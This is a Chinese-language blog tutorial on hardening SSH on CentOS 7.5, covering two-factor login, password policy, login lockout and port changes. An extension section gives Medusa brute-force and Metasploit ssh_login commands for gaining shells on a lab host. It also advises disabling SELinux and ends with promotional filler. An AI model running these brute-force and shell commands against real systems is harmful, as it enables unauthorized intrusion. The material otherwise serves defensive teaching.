Linux SSH 安全加固,这里使用CentOS7.5 做演示
一、配置SSH双因素登录
1.确定系统时钟是正确的
2.安装相关依赖
yum install -y git gcc automake autoconf libtool make pam-devel
3.安装google 验证器
git clone https://github.com/google/google-authenticator-libpam
cd google-authenticator-libpam
./bootstrap.sh
./configure
make && make install
ln -fs /usr/local/lib/security/pam_google_authenticator.so /lib64/security/
4.配置验证器
修改SSH文件 将ChallengeResponseAuthentication 修改为yes
修改PAM文件 vim /etc/pam.d/sshd 在auth substack password-auth下面一行添加 auth required pam_google_authenticator.so
关闭selinux 修改/etc/sysconfig/selinux 文件 将 SELINUX=enforcing 修改为disabled
google-authenticator
重启SSH服务
二、设置密码长度以及复杂度
1.设置密码长度
修改 /etc/login.defs文件
将PASS_MIN_LEN 数值修改
修改 /etc/pam.d/system_auth配置文件
在password requisite 行后边添加: minlen=数值
2.设置密码复杂度
方法一:修改/etc/pam.d/system-auth
在password requisite 行后边添加:
ucredit=-1 #至少包含1位大写字母
lcredit=-1 #至少包含1位小写字母
ocredit=-1 #至少包含1位特殊字符
dcredit=-1 #至少包含1位数字
方法二:使用如下命令:
authconfig --enablereqlower --update
authconfig --enablerequpper --update
authconfig --enablereqdigit --update
authconfig --enablereqother --update
三、设置密码重试限制
1.限制tty登录
修改login文件:
# vi /etc/pam.d/login
在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=3600
# 注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。
# 普通用户和root用户,密码输入错误5次,都会被锁定,普通用户被锁定1800秒,root用户被锁定3600秒
# deny=5表示密码输入错误5次
# unlock_time=1800表示普通用户锁定的时间,单位为秒
# root_unlock_time=3600表示root用户锁定的时间,单位为秒
# even_deny_root表示root用户也锁定
2.限制ssh登录
# vi /etc/pam.d/sshd
在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=1800
# 注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。
扩展
1、Medusa SSH弱口令破解
如果在设置SSH服务时,管理员设置了容易被猜解出来的用户名和密码(弱口令)。那么充实人员就可以使用对应的密码工具进行暴力破解弱口令。破解出来就可以使用对应的用户名和密码登录系统
Medusa对特点的ssh服务进行用户名和密码破解
将需要破解的密码,写入pass.txt文档中,
/root/Desktop/#vi pass.txt
123456
12341234
123123
asdasfdsd
12345678
用pass.txt里面的密码,进行破解
#medusa -h 192.168.1.100 -u msfadmin -P /root/Desktop/pass.txt -M ssh
2、Metasploit利用SSH登录反弹Shell
使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接。
# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options
msf>set rhost 192.168.1.100
msf>set username msadmin
msf>set options
msf>set password msadmin
msf>show options
运行run,进行ssh登录
msf>run
查看连接的会话
msf>sessions -l
查看登录用户的ID
msf>sessions -i 1
3、Metasploit获取Metaspreter Shell
利用获取的Bash shell,注入Metasploit中Metaspreter payload从而获取更强大功能的shell
# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options
登录系统
msf>run
查看会话2的具体信息
msf>sessions -u 2
msf>sessions -l
查看帮助
msf>help
msf>msf>sessions -u 4
msf>exit
查看连接情况
# netstat -pantu
#ifconfig
# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options
msf>set rhosts 192.168.1.100
msf>set username msfadmin
msf>set password msfadmin
msf>run
msf>sessions -l
查看会话1的登录端口等信息
msf>sessions -u 1
msf>sessions -l
查看登录的系统版本信息
msf>sysinfo
msf>
SSH安全防御
1、SSH修改默认端口
2、SSH防御暴力破解用户账号
3、SSH设置PGP登录
4、Iptables设置阈值防止暴力破解
1、SSH修改默认端口
默认情况下,SSH使用22端口。为了安全,一般情况下都会修改默认端口
#service sshd status
#vi /etc/ssh/sshd_conifg
port 66
#service sshd restart
注意:修改之后,必须重启ssh服务
2、SSH防御暴力破解用户账号
在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解
出现问题 :不能使用用户密码登录,很大程度上存在复杂操作
测试
配置成功
3、SSH设置PGP登录
默认情况下,SSH使用用户名和密码远程登录。但也可以使用密钥对进程身份验证登录(公钥和私钥)
4、Iptables设置阈值防止暴力破解
利用Iptables对多次连接验证错误,进行账户锁定120秒
最后的话
最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!
资料预览
给大家整理的视频资料:
给大家整理的电子书资料:
如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
整理的电子书资料:
[外链图片转存中…(img-FcObeRHT-1714230138934)]
如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!